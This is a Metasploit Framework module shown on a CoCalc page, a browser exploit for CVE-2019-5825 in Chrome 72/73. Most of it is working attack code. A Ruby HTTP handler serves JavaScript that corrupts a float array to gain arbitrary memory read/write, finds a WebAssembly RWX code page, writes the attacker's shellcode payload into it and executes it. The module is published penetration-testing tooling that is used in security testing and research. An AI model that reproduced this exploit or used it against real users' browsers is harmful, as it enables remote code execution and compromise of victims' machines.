CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/chrome_array_map.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpServer::BrowserExploit
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
16
'Description' => %q{
17
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
18
The exploit corrupts the length of a float in order to modify the backing store
19
of a typed array. The typed array can then be used to read and write arbitrary
20
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
21
memory, which is then replaced with the payload.
22
The payload is executed within the sandboxed renderer process, so the browser
23
must be run with the --no-sandbox option for the payload to work correctly.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'dmxcsnsbh', # discovery
28
'István Kurucsai', # exploit
29
'timwr', # metasploit module
30
],
31
'References' => [
32
['CVE', '2019-5825'],
33
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
34
['URL', 'https://github.com/exodusintel/Chromium-941743'],
35
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
36
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
37
],
38
'Notes' => {
39
'Reliability' => [ REPEATABLE_SESSION ],
40
'SideEffects' => [ IOC_IN_LOGS ],
41
'Stability' => [CRASH_SAFE]
42
},
43
'Arch' => [ ARCH_X64 ],
44
'Platform' => ['windows', 'osx'],
45
'DefaultTarget' => 0,
46
'Targets' => [ [ 'Automatic', {} ] ],
47
'DisclosureDate' => '2019-03-07'
48
)
49
)
50
end
51
52
def on_request_uri(cli, request)
53
print_status("Sending #{request.uri} to #{request['User-Agent']}")
54
escaped_payload = Rex::Text.to_unescape(payload.encoded)
55
jscript = %^
56
// HELPER FUNCTIONS
57
let conversion_buffer = new ArrayBuffer(8);
58
let float_view = new Float64Array(conversion_buffer);
59
let int_view = new BigUint64Array(conversion_buffer);
60
BigInt.prototype.hex = function() {
61
return '0x' + this.toString(16);
62
};
63
BigInt.prototype.i2f = function() {
64
int_view[0] = this;
65
return float_view[0];
66
}
67
BigInt.prototype.smi2f = function() {
68
int_view[0] = this << 32n;
69
return float_view[0];
70
}
71
Number.prototype.f2i = function() {
72
float_view[0] = this;
73
return int_view[0];
74
}
75
Number.prototype.f2smi = function() {
76
float_view[0] = this;
77
return int_view[0] >> 32n;
78
}
79
Number.prototype.i2f = function() {
80
return BigInt(this).i2f();
81
}
82
Number.prototype.smi2f = function() {
83
return BigInt(this).smi2f();
84
}
85
86
// *******************
87
// Exploit starts here
88
// *******************
89
// This call ensures that TurboFan won't inline array constructors.
90
Array(2**30);
91
92
// we are aiming for the following object layout
93
// [output of Array.map][packed float array][typed array][Object]
94
// First the length of the packed float array is corrupted via the original vulnerability,
95
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
96
// The Object at the end is used to implement addrof
97
98
// offset of the length field of the float array from the map output
99
const float_array_len_offset = 23;
100
// offset of the length field of the typed array
101
const tarray_elements_len_offset = 24;
102
// offset of the address pointer of the typed array
103
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
104
const obj_prop_b_offset = 33;
105
106
// Set up a fast holey smi array, and generate optimized code.
107
let a = [1, 2, ,,, 3];
108
let cnt = 0;
109
var tarray;
110
var float_array;
111
var obj;
112
113
function mapping(a) {
114
function cb(elem, idx) {
115
if (idx == 0) {
116
float_array = [0.1, 0.2];
117
118
tarray = new BigUint64Array(2);
119
tarray[0] = 0x41414141n;
120
tarray[1] = 0x42424242n;
121
obj = {'a': 0x31323334, 'b': 1};
122
obj['b'] = obj;
123
}
124
125
if (idx > float_array_len_offset) {
126
// minimize the corruption for stability
127
throw "stop";
128
}
129
return idx;
130
}
131
return a.map(cb);
132
}
133
134
function get_rw() {
135
for (let i = 0; i < 10 ** 5; i++) {
136
mapping(a);
137
}
138
139
// Now lengthen the array, but ensure that it points to a non-dictionary
140
// backing store.
141
a.length = (32 * 1024 * 1024)-1;
142
a.fill(1, float_array_len_offset, float_array_len_offset+1);
143
a.fill(1, float_array_len_offset+2);
144
145
a.push(2);
146
a.length += 500;
147
148
// Now, the non-inlined array constructor should produce an array with
149
// dictionary elements: causing a crash.
150
cnt = 1;
151
try {
152
mapping(a);
153
} catch(e) {
154
// relative RW from the float array from this point on
155
let sane = sanity_check()
156
print('sanity_check == ', sane);
157
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
158
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
159
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
160
161
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
162
print('original elements addr: ' + original_elements_ptr.toString(16));
163
print('original elements value: ' + read8(original_elements_ptr).toString(16));
164
print('addrof(Object): ' + addrof(Object).toString(16));
165
}
166
}
167
168
function sanity_check() {
169
success = true;
170
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
171
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
172
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
173
return success;
174
}
175
176
function read8(addr) {
177
let original = float_array[tarray_elements_len_offset+1];
178
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
179
let result = tarray[0];
180
float_array[tarray_elements_len_offset+1] = original;
181
return result;
182
}
183
184
function write8(addr, val) {
185
let original = float_array[tarray_elements_len_offset+1];
186
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
187
tarray[0] = val;
188
float_array[tarray_elements_len_offset+1] = original;
189
}
190
191
function addrof(o) {
192
obj['b'] = o;
193
return float_array[obj_prop_b_offset].f2i();
194
}
195
196
var wfunc = null;
197
var shellcode = unescape("#{escaped_payload}");
198
199
function get_wasm_func() {
200
var importObject = {
201
imports: { imported_func: arg => print(arg) }
202
};
203
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
204
wasm_code = new Uint8Array(bc);
205
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
206
return wasm_mod.exports.exported_func;
207
}
208
209
function rce() {
210
let wasm_func = get_wasm_func();
211
wfunc = wasm_func;
212
// traverse the JSFunction object chain to find the RWX WebAssembly code page
213
let wasm_func_addr = addrof(wasm_func) - 1n;
214
print('wasm: ' + wasm_func_addr);
215
if (wasm_func_addr == 2) {
216
print('Failed, retrying...');
217
location.reload();
218
return;
219
}
220
221
let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
222
print('sfi: ' + sfi.toString(16));
223
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
224
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));
225
226
let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
227
print('instance: ' + instance.toString(16));
228
229
//let rwx_addr = read8(instance + 0x108n);
230
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
231
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
232
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
233
print('rwx: ' + rwx_addr.toString(16));
234
235
// write the shellcode to the RWX page
236
if (shellcode.length % 2 != 0) {
237
shellcode += "\u9090";
238
}
239
240
for (let i = 0; i < shellcode.length; i += 2) {
241
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
242
}
243
244
// invoke the shellcode
245
wfunc();
246
}
247
248
249
function exploit() {
250
print("Exploiting...");
251
get_rw();
252
rce();
253
}
254
255
exploit();
256
^
257
258
jscript = add_debug_print_js(jscript)
259
html = %(
260
<html>
261
<head>
262
<script>
263
#{jscript}
264
</script>
265
</head>
266
<body>
267
</body>
268
</html>
269
)
270
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
271
end
272
273
end
274
275